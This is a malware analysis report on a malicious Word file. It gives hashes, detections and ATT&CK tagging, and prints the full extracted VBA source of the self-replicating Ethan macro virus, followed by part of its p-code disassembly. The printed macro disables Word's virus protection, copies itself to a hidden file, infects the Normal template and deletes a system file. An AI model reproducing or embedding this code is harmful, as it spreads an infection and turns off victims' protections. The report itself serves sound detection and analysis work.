Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 9133a6e1527ad4ae…

MALICIOUS

Office (OLE)

110.0 KB Created: 2004-03-23 11:48:00 Authoring application: Microsoft Word 8.0 First seen: 2020-09-24
MD5: b8d9441a3dd4b0618111df1c2b501572 SHA-1: c760003e88133a8912e03cfdc8b757fb7ba0c24d SHA-256: 9133a6e1527ad4aec799cece8936eb103b3fe93c111c2449e67083ecf6ecc9c6
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample contains VBA macros that are designed to copy themselves to a file named 'c:\ethan.___' and then execute it. This behavior is indicative of a downloader or dropper mechanism. The ClamAV detection 'Doc.Trojan.Ethan-20' further supports the malicious nature of the file, although a specific family could not be confidently identified.

Heuristics 2

  • ClamAV: Doc.Trojan.Ethan-20 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Ethan-20
  • VBA macros detected medium OLE_VBA_MACROS
    Document contains VBA macro code

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 7396 bytes
SHA-256: d92b74cd31def3df068576cb4f0541a997e460642f1707cb8c034945f9db72bc
Detection
ClamAV: Doc.Trojan.Ethan-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Close()
On Error Resume Next
s = ActiveDocument.Saved
Application.EnableCancelKey = Not -1
With Options: .ConfirmConversions = 0: .VirusProtection = 0: .SaveNormalPrompt = 0: End With
Randomize
If Dir("c:\ethan.___", 6) = "" Then
Open "c:\ethan.___" For Output As #1
For i = 1 To MacroContainer.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
a = MacroContainer.VBProject.VBComponents.Item(1).CodeModule.Lines(i, 1)
Print #1, a
Next i
Close #1
SetAttr "c:\ethan.___", 6
End If
If Dir("c:\class.sys") <> "" Then Kill "c:\class.sys"
If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(1, 1) <> "Private Sub Document_Close()" Then
Set t = NormalTemplate.VBProject.VBComponents.Item(1)
ElseIf ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.Lines(1, 1) <> "Private Sub Document_Close()" Then
Set t = ActiveDocument.VBProject.VBComponents.Item(1)
Else
t = ""
End If
If t <> "" Then
Open "c:\ethan.___" For Input As #1
If LOF(1) = 0 Then GoTo q
i = 1
Do While Not EOF(1)
Line Input #1, a
t.CodeModule.InsertLines i, a
i = i + 1
Loop
q:
Close #1
If Rnd < 0.3 Then With Dialogs(wdDialogFileSummaryInfo): .Title = "Ethan Frome": .Author = "EW/LN/CB": .Keywords = "Ethan": .Execute: End With
If Left(ActiveDocument.Name, 8) <> "Document" Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
End If
If ActiveDocument.Saved <> s Then ActiveDocument.Saved = s
End Sub
Private Sub CommandButton1_Click()
If MsgBox("Send form to Personnel?", vbOKCancel, Timesheet) = vbOK Then
    MsgBox "Please remember to type ""Personnel UK"" in the to field of the mail message which will appear next"
    SendForm
ActiveDocument.Close (wdDoNotSaveChanges)
End If
End Sub

Private Sub CommandButton2_Click()
SaveDoc
End Sub

Private Sub Document_New()

End Sub

' Processing file: /opt/analyzer/scan_staging/6600ba119831422aa4034440812d4723.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 4174 bytes
' Line #0:
' 	FuncDefn (Private Sub Document_Close())
' Line #1:
' 	OnError (Resume Next) 
' Line #2:
' 	Ld ActiveDocument 
' 	MemLd Saved 
' 	St s 
' Line #3:
' 	LitDI2 0x0001 
' 	UMi 
' 	Not 
' 	Ld Application 
' 	MemSt EnableCancelKey 
' Line #4:
' 	StartWithExpr 
' 	Ld Options 
' 	With 
' 	BoS 0x0000 
' 	LitDI2 0x0000 
' 	MemStWith ConfirmConversions 
' 	BoS 0x0000 
' 	LitDI2 0x0000 
' 	MemStWith VirusProtection 
' 	BoS 0x0000 
' 	LitDI2 0x0000 
' 	MemStWith SaveNormalPrompt 
' 	BoS 0x0000 
' 	EndWith 
' Line #5:
' 	ArgsCall Read 0x0000 
' Line #6:
' 	LitStr 0x000C "c:\ethan.___"
' 	LitDI2 0x0006 
' 	ArgsLd Dir 0x0002 
' 	LitStr 0x0000 ""
' 	Eq 
' 	IfBlock 
' Line #7:
' 	LitStr 0x000C "c:\ethan.___"
' 	LitDI2 0x0001 
' 	Sharp 
' 	LitDefault 
' 	Open (For Output)
' Line #8:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	LitDI2 0x0001 
' 	Ld MacroContainer 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemLd CodeModule 
' 	MemLd CountOfLines 
' 	For 
' Line #9:
' 	Ld i 
' 	LitDI2 0x0001 
' 	LitDI2 0x0001 
' 	Ld MacroContainer 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemLd CodeModule 
' 	ArgsMemLd Lines 0x0002 
' 	St a 
' Line #10:
' 	LitDI2 0x0001 
' 	Sharp 
' 	PrintChan 
' 	Ld a 
' 	PrintItemNL 
' Line #11:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	NextVar 
' Line #12:
' 	LitDI2 0x0001 
' 	Sharp 
' 	Close 0x0001 
' Line #13:
' 	LitStr 0x000C "c:\ethan.___"
' 	LitDI2 0x0006 
' 	ArgsCall SetAttr 0x0002 
' Line #14:
' 	EndIfBlock 
' Line #15:
' 	LitStr 0x000C "c:\class.sys"
' 	ArgsLd Dir 0x0001 
' 	LitStr 0x0000 ""
' 	Ne 
' 	If 
' 	BoSImplicit 
' 	LitStr 0x000C "c:\class.sys"
' 	ArgsCall Kill 0x0001 
' 	EndIf 
' Line #16:
' 	LitDI2 0x0001 
' 	LitDI2 0x0001 
' 
... (truncated)